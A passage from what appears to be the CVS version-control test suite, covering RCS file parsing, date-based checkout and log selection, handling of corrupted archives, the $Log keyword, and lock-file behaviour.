thirteenth line\"\n\n\t # Probably should split this test into two at this point (file1\n\t # above this line and file2 below), as the two share little\n\t # data/setup.\n\n\t # OK, here is another one. This one was written by hand based on\n\t # doc/RCSFILES and friends. One subtle point is that none of\n\t # the lines end with newlines; that is a feature which we\n\t # should be testing.\n\t cat <${CVSROOT_DIRNAME}/first-dir/file2,v\nhead\t\t\t \t1.5 ;\n branch 1.2.6;\naccess ;\nsymbols branch:1.2.6;\nlocks;\ntestofanewphrase @without newphrase we'd have trouble extending @@ all@ ;\n1.5 date 71.01.01.01.00.00; author joe; state bogus; branches; next 1.4;\n1.4 date 71.01.01.00.00.05; author joe; state bogus; branches; next 1.3;\n1.3 date 70.12.31.15.00.05; author joe; state bogus; branches; next 1.2;\n1.2 date 70.12.31.12.15.05; author me; state bogus; branches 1.2.6.1; next 1.1;\n1.1 date 70.12.31.11.00.05; author joe; state bogus; branches; next; newph;\n1.2.6.1 date 71.01.01.08.00.05; author joe; state Exp; branches; next;\ndesc @@\n1.5 log @@ newphrase1; newphrase2 42; text @head revision@\n1.4 log @@ text @d1 1\na1 1\nnew year revision@\n1.3 log @@ text @d1 1\na1 1\nold year revision@\n1.2 log @@ text @d1 1\na1 1\nmid revision@ 1.1\n\nlog @@ text @d1 1\na1 1\nstart revision@\n1.2.6.1 log @@ text @d1 1\na1 1\nbranch revision@\nEOF\n\t # ' Match the single quote in above here doc -- for font-lock mode.\n\n\t # First test the default branch.\n\t dotest rcs-5 \"${testcvs} -q update file2\" \"U file2\"\n\t dotest rcs-6 \"cat file2\" \"branch revision\"\n\n\t # Check in a revision on the branch to force CVS to\n\t # interpret every revision in the file.\n\t dotest rcs-6a \"$testcvs -q update -r branch file2\" 'U file2'\n\t echo \"next branch revision\" > file2\n\t dotest rcs-6b \"${testcvs} -q ci -m mod file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.2\\.6\\.2; previous revision: 1\\.2\\.6\\.1\ndone\"\n\n\t # Now get rid of the default branch, it will get in the way.\n\t dotest rcs-7 \"${testcvs} admin -b file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n\t # But we do want to make sure that \"cvs admin\" leaves the newphrases\n\t # in the file.\n\t # The extra whitespace regexps are for the RCS library, which does\n\t # not preserve whitespace in the dogmatic manner of RCS 5.7. -twp\n\t dotest rcs-8 \\\n\"grep testofanewphrase ${CVSROOT_DIRNAME}/first-dir/file2,v\" \\\n\"testofanewphrase[\t ][ \t]*@without newphrase we'd have trouble extending @@ all@[\t ]*;\"\n\t # The easiest way to test for newphrases in deltas and deltatexts\n\t # is to just look at the whole file, I guess.\n\t dotest rcs-8a \"cat ${CVSROOT_DIRNAME}/first-dir/file2,v\" \\\n\"head\t1\\.5;\naccess;\nsymbols\n\tbranch:1.2.6;\nlocks;\n\ntestofanewphrase\t@without newphrase we'd have trouble extending @@ all@;\n\n1\\.5\ndate\t71\\.01\\.01\\.01\\.00\\.00;\tauthor joe;\tstate bogus;\nbranches;\nnext\t1\\.4;\n\n1\\.4\ndate\t71\\.01\\.01\\.00\\.00\\.05;\tauthor joe;\tstate bogus;\nbranches;\nnext\t1\\.3;\n\n1\\.3\ndate\t70\\.12\\.31\\.15\\.00\\.05;\tauthor joe;\tstate bogus;\nbranches;\nnext\t1\\.2;\n\n1\\.2\ndate\t70\\.12\\.31\\.12\\.15\\.05;\tauthor me;\tstate bogus;\nbranches\n\t1\\.2\\.6\\.1;\nnext\t1\\.1;\n\n1\\.1\ndate\t70\\.12\\.31\\.11\\.00\\.05;\tauthor joe;\tstate bogus;\nbranches;\nnext\t;\nnewph\t;\n\n1\\.2\\.6\\.1\ndate\t71\\.01\\.01\\.08\\.00\\.05;\tauthor joe;\tstate Exp;\nbranches;\nnext\t1\\.2\\.6\\.2;\n\n1\\.2\\.6\\.2\ndate\t[0-9.]*;\tauthor ${username};\tstate Exp;\nbranches;\nnext\t;\n\n\ndesc\n@@\n\n\n1\\.5\nlog\n@@\nnewphrase1\t;\nnewphrase2\t42;\ntext\n@head revision@\n\n\n1\\.4\nlog\n@@\ntext\n@d1 1\na1 1\nnew year revision@\n\n\n1\\.3\nlog\n@@\ntext\n@d1 1\na1 1\nold year revision@\n\n\n1\\.2\nlog\n@@\ntext\n@d1 1\na1 1\nmid revision@\n\n\n1\\.1\nlog\n@@\ntext\n@d1 1\na1 1\nstart revision@\n\n\n1\\.2\\.6\\.1\nlog\n@@\ntext\n@d1 1\na1 1\nbranch revision@\n\n\n1\\.2\\.6\\.2\nlog\n@mod\n@\ntext\n@d1 1\na1 1\nnext branch revision\n@\"\n\n\t dotest rcs-9 \"${testcvs} -q update -p -D '1970-12-31 11:30 UT' file2\" \\\n\"start revision\"\n\n\t dotest rcs-10 \"${testcvs} -q update -p -D '1970-12-31 12:30 UT' file2\" \\\n\"mid revision\"\n\n\t dotest rcs-11 \"${testcvs} -q update -p -D '1971-01-01 00:30 UT' file2\" \\\n\"new year revision\"\n\n\t # Same test as rcs-10, but with am/pm.\n\t dotest rcs-12 \"${testcvs} -q update -p -D 'December 31, 1970 12:30pm UT' file2\" \\\n\"mid revision\"\n\n\t # Same test as rcs-11, but with am/pm.\n\t dotest rcs-13 \"${testcvs} -q update -p -D 'January 1, 1971 12:30am UT' file2\" \\\n\"new year revision\"\n\n\t # OK, now make sure cvs log doesn't have any trouble with the\n\t # newphrases and such.\n\t dotest rcs-14 \"${testcvs} -q log file2\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nWorking file: file2\nhead: 1\\.5\nbranch:\nlocks:\naccess list:\nsymbolic names:\n\tbranch: 1\\.2\\.6\nkeyword substitution: kv\ntotal revisions: 7;\tselected revisions: 7\ndescription:\n----------------------------\nrevision 1\\.5\ndate: 1971/01/01 01:00:00; author: joe; state: bogus; lines: ${PLUS}1 -1\n\\*\\*\\* empty log message \\*\\*\\*\n----------------------------\nrevision 1\\.4\ndate: 1971/01/01 00:00:05; author: joe; state: bogus; lines: ${PLUS}1 -1\n\\*\\*\\* empty log message \\*\\*\\*\n----------------------------\nrevision 1\\.3\ndate: 1970/12/31 15:00:05; author: joe; state: bogus; lines: ${PLUS}1 -1\n\\*\\*\\* empty log message \\*\\*\\*\n----------------------------\nrevision 1\\.2\ndate: 1970/12/31 12:15:05; author: me; state: bogus; lines: ${PLUS}1 -1\nbranches: 1\\.2\\.6;\n\\*\\*\\* empty log message \\*\\*\\*\n----------------------------\nrevision 1\\.1\ndate: 1970/12/31 11:00:05; author: joe; state: bogus;\n\\*\\*\\* empty log message \\*\\*\\*\n----------------------------\nrevision 1\\.2\\.6\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -1\nmod\n----------------------------\nrevision 1\\.2\\.6\\.1\ndate: 1971/01/01 08:00:05; author: joe; state: Exp; lines: ${PLUS}1 -1\n\\*\\*\\* empty log message \\*\\*\\*\n=============================================================================\"\n\t # Now test each date format for \"cvs log -d\".\n\t # Earlier than 1971-01-01\n\t dotest rcs-15 \"${testcvs} -q log -d '<1971-01-01 00:00 GMT' file2 \\\n\t | grep revision\" \\\n\"total revisions: 7;\tselected revisions: 3\nrevision 1\\.3\nrevision 1\\.2\nrevision 1\\.1\"\n\t # Later than 1971-01-01\n\t dotest rcs-16 \"${testcvs} -q log -d '1971-01-01 00:00 GMT<' file2 \\\n\t | grep revision\" \\\n\"total revisions: 7;\tselected revisions: 4\nrevision 1\\.5\nrevision 1\\.4\nrevision 1\\.2\\.6\\.2\nrevision 1\\.2\\.6\\.1\"\n\t # Alternate syntaxes for later and earlier; multiple -d options\n\t dotest rcs-17 \"${testcvs} -q log -d '>1971-01-01 00:00 GMT' \\\n\t -d '1970-12-31 12:15 GMT>' file2 | grep revision\" \\\n\"total revisions: 7;\tselected revisions: 5\nrevision 1\\.5\nrevision 1\\.4\nrevision 1\\.1\nrevision 1\\.2\\.6\\.2\nrevision 1\\.2\\.6\\.1\"\n\t # Range, and single date\n\t dotest rcs-18 \"${testcvs} -q log -d '1970-12-31 11:30 GMT' \\\n\t -d '1971-01-01 00:00:05 GMT<1971-01-01 01:00:01 GMT' \\\n\t file2 | grep revision\" \\\n\"total revisions: 7;\tselected revisions: 2\nrevision 1\\.5\nrevision 1\\.1\"\n\t # Alternate range syntax; equality\n\t dotest rcs-19 \"${testcvs} -q log \\\n\t -d '1971-01-01 01:00:01 GMT>=1971-01-01 00:00:05 GMT' \\\n\t file2 | grep revision\" \\\n\"total revisions: 7;\tselected revisions: 2\nrevision 1\\.5\nrevision 1\\.4\"\n\n\t cd ..\n\n\t rm -r first-dir\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\trcs2)\n\t # More date tests. Might as well do this as a separate\n\t # test from \"rcs\", so that we don't need to perturb the\n\t # \"written by RCS 5.7\" RCS file.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t # Significance of various dates:\n\t # * At least one Y2K standard refers to recognizing 9 Sep 1999\n\t # (as an example of a pre-2000 date, I guess).\n\t # * At least one Y2K standard refers to recognizing 1 Jan 2001\n\t # (as an example of a post-2000 date, I guess).\n\t # * Many Y2K standards refer to 2000 being a leap year.\n\t cat <${CVSROOT_DIRNAME}/first-dir/file1,v\nhead 1.7; access; symbols; locks; strict;\n1.7 date 2004.08.31.01.01.01; author sue; state; branches; next 1.6;\n1.6 date 2004.02.29.01.01.01; author sue; state; branches; next 1.5;\n1.5 date 2003.02.28.01.01.01; author sue; state; branches; next 1.4;\n1.4 date 2001.01.01.01.01.01; author sue; state; branches; next 1.3;\n1.3 date 2000.02.29.01.01.01; author sue; state; branches; next 1.2;\n1.2 date 99.09.09.01.01.01; author sue; state; branches; next 1.1;\n1.1 date 98.09.10.01.01.01; author sue; state; branches; next;\ndesc @a test file@\n1.7 log @@ text @head revision@\n1.6 log @@ text @d1 1\na1 1\n2004 was a great year for leaping@\n1.5 log @@ text @d1 1\na1 1\n2003 wasn't@\n1.4 log @@ text @d1 1\na1 1\ntwo year hiatus@\n1.3 log @@ text @d1 1\na1 1\n2000 is also a good year for leaping@\n1.2 log @@ text @d1 1\na1 1\nTonight we're going to party like it's a certain year@\n1.1 log @@ text @d1 1\na1 1\nNeed to start somewhere@\nEOF\n\t # ' Match the 3rd single quote in the here doc -- for font-lock mode.\n\n\t dotest rcs2-1 \"${testcvs} -q co first-dir\" 'U first-dir/file1'\n\t cd first-dir\n\n\t # 9 Sep 1999\n\t dotest rcs2-2 \"${testcvs} -q update -p -D '1999-09-09 11:30 UT' file1\" \\\n\"Tonight we're going to party like it's a certain year\"\n\t # 1 Jan 2001.\n\t dotest rcs2-3 \"${testcvs} -q update -p -D '2001-01-01 11:30 UT' file1\" \\\n\"two year hiatus\"\n\t # 29 Feb 2000\n\t dotest rcs2-4 \"${testcvs} -q update -p -D '2000-02-29 11:30 UT' file1\" \\\n\"2000 is also a good year for leaping\"\n\t # 29 Feb 2003 is invalid\n\t dotest_fail rcs2-5 \"${testcvs} -q update -p -D '2003-02-29 11:30 UT' file1\" \\\n\"${PROG} \\[[a-z]* aborted\\]: Can't parse date/time: 2003-02-29 11:30 UT\"\n\n\t dotest rcs2-6 \"${testcvs} -q update -p -D 2007-01-07 file1\" \\\n\"head revision\"\n\t # This assumes that the clock of the machine running the tests\n\t # is set to at least the year 1998 or so. There don't seem\n\t # to be a lot of ways to test the relative date code (short\n\t # of something like LD_LIBRARY_PRELOAD'ing in our own\n\t # getttimeofday, or hacking the CVS source with testing\n\t # features, which always seems to be problematic since then\n\t # someone feels like documenting them and things go downhill\n\t # from there).\n\t # \n\t # These tests can be expected to fail 3 times every 400 years\n\t # starting Feb. 29, 2096 (because 8 years from that date would\n\t # be Feb. 29, 2100, which is an invalid date -- 2100 isn't a\n\t # leap year because it's divisible by 100 but not by 400).\n\n\t dotest rcs2-7 \"${testcvs} -q update -p -D '96 months' file1\" \\\n\"head revision\"\n\t dotest rcs2-8 \"${testcvs} -q update -p -D '8 years' file1\" \\\n\"head revision\"\n\n\t cd ..\n\t rm -r first-dir\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\trcs3)\n\t # More RCS file tests, in particular at least some of the\n\t # error handling issues.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t cat <${CVSROOT_DIRNAME}/first-dir/file1,v\nhead 1.1; access; symbols; locks; expand o; 1.1 date 2007.03.20.04.03.02\n; author jeremiah ;state ; branches; next;desc@@1.1log@@text@head@\nEOF\n\t mkdir 1; cd 1\n\t # CVS requires whitespace between \"desc\" and its value.\n\t # The rcsfile(5) manpage doesn't really seem to answer the\n\t # question one way or the other (it has a grammar but almost\n\t # nothing about lexical analysis).\n\t dotest_fail rcs3-1 \"${testcvs} -q co first-dir\" \\\n\"${PROG} \\[checkout aborted\\]: EOF while looking for value in RCS file ${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\t cat <${CVSROOT_DIRNAME}/first-dir/file1,v\nhead 1.1; access; symbols; locks; expand o; 1.1 date 2007.03.20.04.03.02\n; author jeremiah ;state ; branches; next;desc @@1.1log@@text@head@\nEOF\n\t # Whitespace issues, likewise.\n\t dotest_fail rcs3-2 \"${testcvs} -q co first-dir\" \\\n\"${PROG} \\[checkout aborted\\]: unexpected '.x6c' reading revision number in RCS file ${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\t cat <${CVSROOT_DIRNAME}/first-dir/file1,v\nhead 1.1; access; symbols; locks; expand o; 1.1 date 2007.03.20.04.03.02\n; author jeremiah ;state ; branches; next;desc @@1.1 log@@text@head@\nEOF\n\t # Charming array of different messages for similar\n\t # whitespace issues (depending on where the whitespace is).\n\t dotest_fail rcs3-3 \"${testcvs} -q co first-dir\" \\\n\"${PROG} \\[checkout aborted\\]: EOF while looking for value in RCS file ${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\t cat <${CVSROOT_DIRNAME}/first-dir/file1,v\nhead 1.1; access; symbols; locks; expand o; 1.1 date 2007.03.20.04.03.02\n; author jeremiah ;state ; branches; next;desc @@1.1 log @@text @head@\nEOF\n\t dotest rcs3-4 \"${testcvs} -q co first-dir\" 'U first-dir/file1'\n\n\t # Ouch, didn't expect this one. FIXCVS. Or maybe just remove\n\t # the feature, if this is a -s problem?\n\t dotest_fail rcs3-5 \"${testcvs} log -s nostate first-dir/file1\" \\\n\"${DOTSTAR}ssertion.*failed${DOTSTAR}\" \"${DOTSTAR}failed assertion${DOTSTAR}\"\n\t cd first-dir\n\t dotest_fail rcs3-5a \"${testcvs} log -s nostate file1\" \\\n\"${DOTSTAR}ssertion.*failed${DOTSTAR}\" \"${DOTSTAR}failed assertion${DOTSTAR}\"\n\t cd ..\n\n\t # See remote code above for rationale for cd.\n\t cd first-dir\n\t dotest rcs3-6 \"${testcvs} log -R file1\" \\\n\"${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\n\t # OK, now put an extraneous '\\0' at the end.\n\t ${AWK} >${CVSROOT_DIRNAME}/first-dir/file1,v\n\t dotest_fail rcs3-7 \"${testcvs} log -s nostate file1\" \\\n\"${PROG} \\[log aborted\\]: unexpected '.x0' reading revision number in RCS file ${CVSROOT_DIRNAME}/first-dir/file1,v\"\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\trcs4)\n\t # Fix a bug that shows up when checking out files by date with the\n\t # \"-D date\" command line option. There is code in the original to\n\t # handle a special case. If the date search finds revision 1.1 it\n\t # is supposed to check whether revision 1.1.1.1 has the same date\n\t # stamp, which would indicate that the file was originally brought\n\t # in with \"cvs import\". In that case it is supposed to return the\n\t # vendor branch version 1.1.1.1.\n\t # \n\t # However, there is a bug in the code. It actually compares\n\t # the date of revision 1.1 for equality with the date given\n\t # on the command line -- clearly wrong. This commit fixes\n\t # the coding bug.\n\t # \n\t # There is an additional bug which is _not_ fixed yet. \n\t # The date comparison should not be a strict\n\t # equality test. It should allow a fudge factor of, say, 2-3\n\t # seconds. Old versions of CVS created the two revisions\n\t # with two separate invocations of the RCS \"ci\" command. We\n\t # have many old files in the tree in which the dates of\n\t # revisions 1.1 and 1.1.1.1 differ by 1 second.\n\n mkdir rcs4\n cd rcs4\n\n\t mkdir imp-dir\n\t cd imp-dir\n\t echo 'OpenMunger sources' >file1\n\n\t # choose a time in the past to demonstrate the problem\n\t TZ=GMT touch -t 200012010123 file1\n\n\t dotest_sort rcs4-1 \\\n\"${testcvs} import -d -m add rcs4-dir openmunger openmunger-1_0\" \\\n'\n\nN rcs4-dir/file1\nNo conflicts created by this import'\n\t echo 'OpenMunger sources release 1.1 extras' >>file1\n\t TZ=GMT touch -t 200112011234 file1\n\t dotest_sort rcs4-2 \\\n\"${testcvs} import -d -m add rcs4-dir openmunger openmunger-1_1\" \\\n'\n\nNo conflicts created by this import\nU rcs4-dir/file1'\n\t cd ..\n\t # Next checkout the new module\n\t dotest rcs4-3 \\\n\"${testcvs} -q co rcs4-dir\" \\\n'U rcs4-dir/file1'\n\t cd rcs4-dir\n\t echo 'local change' >> file1\n\n\t # commit a local change\n\t dotest rcs4-4 \\\n\"${testcvs} -q commit -m hack file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/rcs4-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t # now see if we get version 1.1 or 1.1.1.1 when we ask for\n\t # a checkout by time... it really should be 1.1.1.1 as\n # that was indeed the version that was visible at the target\n\t # time.\n\t dotest rcs4-5 \\\n\"${testcvs} -q update -D 'October 1, 2001 UTC' file1\" \\\n'[UP] file1'\n\t dotest rcs4-6 \\\n\"${testcvs} -q status file1\" \\\n'===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1\\.1\\.1.*\n Repository revision:\t1\\.1\\.1\\.1\t'${CVSROOT_DIRNAME}'/rcs4-dir/file1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t2001\\.10\\.01\\.00\\.00\\.00\n Sticky Options:\t(none)'\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../..\n rm -r rcs4\n rm -rf ${CVSROOT_DIRNAME}/rcs4-dir\n\t ;;\n\n\n\n\trcs5)\n\t # Some tests of the $Log keyword and log message without a trailing\n\t # EOL. This used to look ugly and, in the worst case, could cause\n\t # a seg fault due to a buffer overflow.\n\t #\n\t # Note that it should not be possible to create this situation via a\n\t # CVS server (and any client), since the server itself inserts the\n\t # trailing EOL onto log messages that are missing one. Still, we\n\t # shouldn't segfault due to a corrupt RCS file and I think that a log\n\t # message without the trailing EOL doesn't actually violate the RCS\n\t # spec, though it doesn't appear to be possible to create such a log\n\t # message using RCS 5.7.\n\n\t mkdir $CVSROOT_DIRNAME/rcs5\n\t cat <<\\EOF >$CVSROOT_DIRNAME/rcs5/file1,v\nhead 1.1;\naccess;\nsymbols;\nlocks;\nexpand kv;\n\n1.1 date 2007.03.20.04.03.02; author jeremiah; state Ext; branches; next;\n\ndesc\n@@\n\n1.1\nlog\n@he always had very fine wine@\ntext\n@line1\n/*\nEOF\necho ' * Revision history: $''Log$' >>$CVSROOT_DIRNAME/rcs5/file1,v\n\t cat <<\\EOF >>$CVSROOT_DIRNAME/rcs5/file1,v\n */\nline5\n@\nEOF\n\n mkdir rcs5\n cd rcs5\n\t dotest rcs5-1 \"$testcvs -Q co rcs5\"\n\t dotest rcs5-2 \"cat rcs5/file1\" \\\n\"line1\n/\\\\*\n \\\\* Revision history: \"'\\$'\"Log: file1,v \"'\\$'\"\n \\\\* Revision history: Revision 1\\.1 2007/03/20 04:03:02 jeremiah\n \\\\* Revision history: he always had very fine wine\n \\\\* Revision history:\n \\\\*/\nline5\"\n\n\t cd ..\n rm -r rcs5\n rm -rf $CVSROOT_DIRNAME/rcs5\n\t ;;\n\n\n\n\trcs6)\n\t # Test that CVS notices a specific type of corruption in the RCS\n\t # archive. In the past, this type of corruption had turned up after\n\t # a user ineptly attempted to delete a revision from an arcvhive \n\t # manually.\n\t mkdir rcs6; cd rcs6\n\n\t # Make the project.\n\t dotest rcs6-init-1 \"$testcvs -Q co -ld top .; cd top\"\n\t mkdir rcs6\n\t dotest rcs6-init-2 \"$testcvs -Q add rcs6\"\n\t cd rcs6\n\n\t # Populate it.\n\t echo some words >afile\n\t dotest rcs6-init-3 \"$testcvs -Q add afile\"\n\t dotest rcs6-init-4 \"$testcvs -Q ci -mnewfile afile\" \\\n\"RCS file: $CVSROOT_DIRNAME/rcs6/afile,v\ndone\nChecking in afile;\n$CVSROOT_DIRNAME/rcs6/afile,v <-- afile\ninitial revision: 1\\.1\ndone\"\n\t echo more words >>afile\n\t dotest rcs6-init-5 \"$testcvs -Q ci -mrev2 afile\" \\\n\"Checking in afile;\n$CVSROOT_DIRNAME/rcs6/afile,v <-- afile\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # Corrupt the archive.\n\t sed -e '8,12d' \\\n\t -e 's/^head\t1\\.2/head\t1.1/' \\\n\t <$CVSROOT_DIRNAME/rcs6/afile,v \\\n\t >$CVSROOT_DIRNAME/rcs6/cfile,v\n\n\t # Update used to work.\n\t dotest_fail rcs6-1 \"$testcvs -q up\" \\\n\"$PROG \\[update aborted\\]: Expected head revision 1\\.1, found 1\\.2\\.\"\n\n\t # Then a commit hosed the archive further without any warnings.\n\t # Updating to an old revision (e.g. 1.1) would have reported the\n\t # corruption. A second commit would have deleted data from the\n\t # file.\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../../..\n\t rm -r rcs6\n\t rm -rf $CVSROOT_DIRNAME/rcs6\n\t ;;\n\n\n\n\tlockfiles)\n\t # Tests of CVS lock files.\n\t # TODO-maybe: Add a test where we arrange for a loginfo\n\t # script (or some such) to ensure that locks are in place\n\t # so then we can see how they are behaving.\n\n\t mkdir 1; cd 1\n\t mkdir sdir\n\t mkdir sdir/ssdir\n\t echo file >sdir/ssdir/file1\n\t dotest lockfiles-1 \\\n\"${testcvs} -Q import -m import-it first-dir bar baz\" \"\"\n\t cd ..\n\n\t mkdir 2; cd 2\n\t dotest lockfiles-2 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/sdir/ssdir/file1\"\n\t dotest lockfiles-3 \"${testcvs} -Q co CVSROOT\" \"\"\n\t cd CVSROOT\n\t echo \"LockDir=${TESTDIR}/locks\" >config\n\t dotest lockfiles-4 \"${testcvs} -q ci -m config-it\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../first-dir/sdir/ssdir\n\t # The error message appears twice because Lock_Cleanup only\n\t # stops recursing after the first attempt.\n\t dotest_fail lockfiles-5 \"${testcvs} -q update\" \\\n\"${PROG} \\[update aborted\\]: cannot stat ${TESTDIR}/locks: No such file or directory\n${PROG} \\[update aborted\\]: cannot stat ${TESTDIR}/locks: No such file or directory\"\n\t mkdir ${TESTDIR}/locks\n\t # Grumble, mumble. Cygwin.\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod u=rwx,g=r,o= ${TESTDIR}/locks\"\n\t else\n\t chmod u=rwx,g=r,o= ${TESTDIR}/locks\n\t fi\n\t umask 0077\n\t CVSUMASK=0077; export CVSUMASK\n\t dotest lockfiles-6 \"${testcvs} -q update\" \"\"\n\t # TODO: should also be testing that CVS continues to honor the\n\t # umask and CVSUMASK normally. In the case of the umask, CVS\n\t # doesn't seem to use it for much (although it perhaps should).\n\t dotest lockfiles-7 \"ls ${TESTDIR}/locks/first-dir/sdir/ssdir\" \"\"\n\n\t # The policy is that when CVS creates new lock directories, they\n\t # inherit the permissions from the parent directory. CVSUMASK\n\t # isn't right, because typically the reason for LockDir is to\n\t # use a different set of permissions.\n\t #\n\t # Bah! Cygwin!\n\t if test -n \"$remotehost\"; then\n\t dotest lockfiles-7a \"$CVS_RSH $remotehost 'ls -ld ${TESTDIR}/locks/first-dir'\" \\\n\"drwxr-----.*first-dir\"\n\t dotest lockfiles-7b \"$CVS_RSH $remotehost 'ls -ld ${TESTDIR}/locks/first-dir/sdir/ssdir'\" \\\n\"drwxr-----.*first-dir/sdir/ssdir\"\n\t else\n\t dotest lockfiles-7a \"ls -ld ${TESTDIR}/locks/first-dir\" \\\n\"drwxr-----.*first-dir\"\n\t dotest lockfiles-7b \"ls -ld ${TESTDIR}/locks/first-dir/sdir/ssdir\" \\\n\"drwxr-----.*first-dir/sdir/ssdir\"\n\t fi\n\n\t cd ../../..\n\t dotest lockfiles-8 \"${testcvs} -q update\" \"\"\n\t dotest lockfiles-9 \"${testcvs} -q co -l .\" \"\"\n\n\t ###\n\t ### There are race conditions in the following tests, but hopefully\n\t ### the 5 seconds the first process waits to remove the lockdir and\n\t ### the 30 seconds CVS waits betweens checks will be significant\n\t ### enough to render the case moot.\n\t ###\n\t # Considers the following cases:\n\t #\n\t # Lock Present\n\t # Operation Allowed (case #)\n\t #\n\t # Read Write\n\t # _______ ______\n\t # Read |Yes (1) No (3)\n\t # Write |No (7) No (9)\n\t #\n\t # Tests do not appear in same ordering as table. The odd numbering\n\t # scheme maintains correspondance with a larger table on 1.12.x:\n\t # 1. Read when read locks are present...\n\t # 3. Don't read when write locks present...\n\t # 7. Don't write when read locks are present...\n\t # 9. Don't write when write locks are present...\n\n\t # 3. Don't read when write locks present...\n\t mkdir \"$TESTDIR/locks/first-dir/#cvs.lock\"\n\t (sleep 5; rmdir \"$TESTDIR/locks/first-dir/#cvs.lock\")&\n\t dotest lockfiles-10 \"$testcvs -q co -l first-dir\" \\\n\"$PROG checkout: \\[[0-9:]*\\] waiting for $username's lock in $CVSROOT_DIRNAME/first-dir\n$PROG checkout: \\[[0-9:]*\\] obtained lock in $CVSROOT_DIRNAME/first-dir\"\n\n\t # 1. Read when read locks are present...\n\t touch \"$TESTDIR/locks/first-dir/#cvs.rfl.test.lock\"\n\t dotest lockfiles-11 \"$testcvs -q co -l first-dir\"\n\t rm \"$TESTDIR/locks/first-dir/#cvs.rfl.test.lock\"\n\n\t # 7. Don't write when read locks are present...\n\t echo I always have trouble coming up with witty text for the test files >>first-dir/sdir/ssdir/file1\n\t touch \"$TESTDIR/locks/first-dir/sdir/ssdir/#cvs.rfl.test.lock\"\n\t (sleep 5; rm \"$TESTDIR/locks/first-dir/sdir/ssdir/#cvs.rfl.test.lock\")&\n\t dotest lockfiles-13 \"$testcvs -q ci -mconflict first-dir\" \\\n\"$PROG commit: \\[[0-9:]*\\] waiting for $username's lock in $CVSROOT_DIRNAME/first-dir/sdir/ssdir\n$PROG commit: \\[[0-9:]*\\] obtained lock in $CVSROOT_DIRNAME/first-dir/sdir/ssdir\nChecking in first-dir/sdir/ssdir/file1;\n$CVSROOT_DIRNAME/first-dir/sdir/ssdir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # 9. Don't write when write locks are present...\n\t echo yet this poem would probably only give longfellow bile >>first-dir/sdir/ssdir/file1\n\t mkdir \"$TESTDIR/locks/first-dir/sdir/ssdir/#cvs.lock\"\n\t (sleep 5; rmdir \"$TESTDIR/locks/first-dir/sdir/ssdir/#cvs.lock\")&\n\t dotest lockfiles-19 \"$testcvs -q ci -mnot-up-to-date first-dir\" \\\n\"$PROG commit: \\[[0-9:]*\\] waiting for $username's lock in $CVSROOT_DIRNAME/first-dir/sdir/ssdir\n$PROG commit: \\[[0-9:]*\\] obtained lock in $CVSROOT_DIRNAME/first-dir/sdir/ssdir\nChecking in first-dir/sdir/ssdir/file1;\n$CVSROOT_DIRNAME/first-dir/sdir/ssdir/file1,v <-- file1\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\n\t # 10. Don't write when history locks are present...\n\t echo have you ever heard a poem quite so vile\\? >>first-dir/sdir/ssdir/file1\n\t mkdir \"$TESTDIR/locks/CVSROOT/#cvs.history.lock\"\n\t (sleep 5; rmdir \"$TESTDIR/locks/CVSROOT/#cvs.history.lock\")&\n\t dotest lockfiles-20 \"$testcvs -q ci -mnot-up-to-date first-dir\" \\\n\"Checking in first-dir/sdir/ssdir/file1;\n$CVSROOT_DIRNAME/first-dir/sdir/ssdir/file1,v <-- file1\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\n$PROG commit: \\[[0-9:]*\\] waiting for $username's lock in $CVSROOT_DIRNAME/CVSROOT\n$PROG commit: \\[[0-9:]*\\] obtained lock in $CVSROOT_DIRNAME/CVSROOT\"\n\n\t dotest lockfiles-21 \"$testcvs -Q tag newtag first-dir\"\n\n\t rm -f $CVSROOT_DIRNAME/CVSROOT/val-tags\n\t mkdir \"$TESTDIR/locks/CVSROOT/#cvs.val-tags.lock\"\n\t (sleep 5; rmdir \"$TESTDIR/locks/CVSROOT/#cvs.val-tags.lock\")&\n\t dotest lockfiles-22 \"$testcvs -q up -r newtag first-dir\" \\\n\"$PROG update: \\[[0-9:]*\\] waiting for $username's lock in $CVSROOT_DIRNAME/CVSROOT\n$PROG update: \\[[0-9:]*\\] obtained lock in $CVSROOT_DIRNAME/CVSROOT\n[UP] first-dir/sdir/ssdir/file1\"\n\n\t cd CVSROOT\n\t echo \"# nobody here but us comments\" >config\n\t dotest lockfiles-cleanup-1 \"${testcvs} -q ci -m config-it\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file 